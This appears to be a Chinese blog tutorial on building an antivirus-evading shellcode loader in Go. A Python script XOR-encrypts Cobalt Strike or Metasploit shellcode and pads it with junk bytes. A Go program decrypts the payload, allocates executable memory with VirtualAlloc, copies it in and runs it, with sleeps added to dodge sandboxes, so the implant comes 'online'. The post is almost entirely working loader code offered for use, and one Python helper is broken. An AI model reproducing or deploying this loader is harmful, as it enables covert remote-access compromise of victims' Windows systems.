Golang-编码加密-Xor(GG)

go语言环境搭建

Golang学习日志 ━━ 下载及安装_golang下载-CSDN博客


 

 go run xxx.go 

 go build xxx.go 

首先,cs.msf生成比特流数据.

 放入xor,py脚本中进行xor加密.

 xor.py

def xor(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 对shellcode的每一位进行xor亦或处理
    for i in range(0, len(shellcode)):
        s = ord(shellcode[i])
        p = ord((key[i % key_len]))
        s = s ^ p  # 与p异或,p就是key中的字符之一
        s = chr(s) 
        new_shellcode += s
    return new_shellcode

def random_decode(shellcode):
    j = 0
    new_shellcode = ""
    for i in range(0,len(shellcode)):
        if i % 2 == 0:
            new_shellcode[i] = shellcode[j]
            j += 1

    return new_shellcode

def add_random_code(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 每个字节后面添加随机一个字节,随机字符来源于key
    for i in range(0, len(shellcode)):
        #print(ord(shellcode[i]))
        new_shellcode += shellcode[i]
        # print("&"+hex(ord(new_shellcode[i])))
        new_shellcode += key[i % key_len]

        #print(i % key_len)
    return new_shellcode

# 将shellcode打印输出
def str_to_hex(shellcode):
    raw = ""
    for i in range(0, len(shellcode)):
        s = hex(ord(shellcode[i])).replace("0x",',0x')
        raw = raw + s
    return raw

if __name__ == '__main__':
    
    shellcode="   比特流shellcode!!!!!       "
    # 这是异或和增加随机字符使用的key
    key = "iqe"
    #print(shellcode[0])
    #print(len(shellcode))
    # 首先对shellcode进行异或处理
    shellcode = xor(shellcode, key)
    #print(len(shellcode))

    # 然后在shellcode中增加随机字符
    shellcode = add_random_code(shellcode, key)

    # 将shellcode打印出来
    print(str_to_hex(shellcode))

xor_dec.go

package main

import (
	"syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。

)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
	mix_shellcode := []byte{       xor加密后的shellcode  !!!!!!           }
	var ttyolller []byte
	key := []byte("iqe")
	var key_size = len(key)
	var shellcode_final []byte
	var j = 0
	time.Sleep(2)
	// 去除垃圾代码
	//fmt.Print(len(mix_shellcode))
	for i := 0; i < len(mix_shellcode); i++ {
		if i%2 == 0 {
			shellcode_final = append(shellcode_final, mix_shellcode[i])
			j += 1
		}
	}
	time.Sleep(3)
	//fmt.Print(shellcode_final)
	// 解密异或
	for i := 0; i < len(shellcode_final); i++ {
		ttyolller = append(ttyolller, shellcode_final[i]^key[i%key_size])
	}
	time.Sleep(3)
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	time.Sleep(3)
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

 运行xor_dec.go --->上线.

相关推荐

  1. golang 使用AES加密

    2024-06-10 07:24:02       16 阅读
  2. 编程笔记 Golang基础 006 Goland开发环境搭建

    2024-06-10 07:24:02       37 阅读
  3. Golang 并发编程详解

    2024-06-10 07:24:02       34 阅读
  4. Golang 网络编程

    2024-06-10 07:24:02       23 阅读
  5. golang编程规范

    2024-06-10 07:24:02       10 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-10 07:24:02       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-10 07:24:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-10 07:24:02       20 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-10 07:24:02       20 阅读

热门阅读

  1. 使用 AES 算法在 C# 中实现安全字符串加密和解密

    2024-06-10 07:24:02       12 阅读
  2. 使用Spring Cloud设计电商系统架构

    2024-06-10 07:24:02       10 阅读
  3. Spring RestClient报错:400 Bad Request : [no body]

    2024-06-10 07:24:02       11 阅读
  4. 临近空间飞艇技术

    2024-06-10 07:24:02       8 阅读
  5. IO流(字符流)

    2024-06-10 07:24:02       8 阅读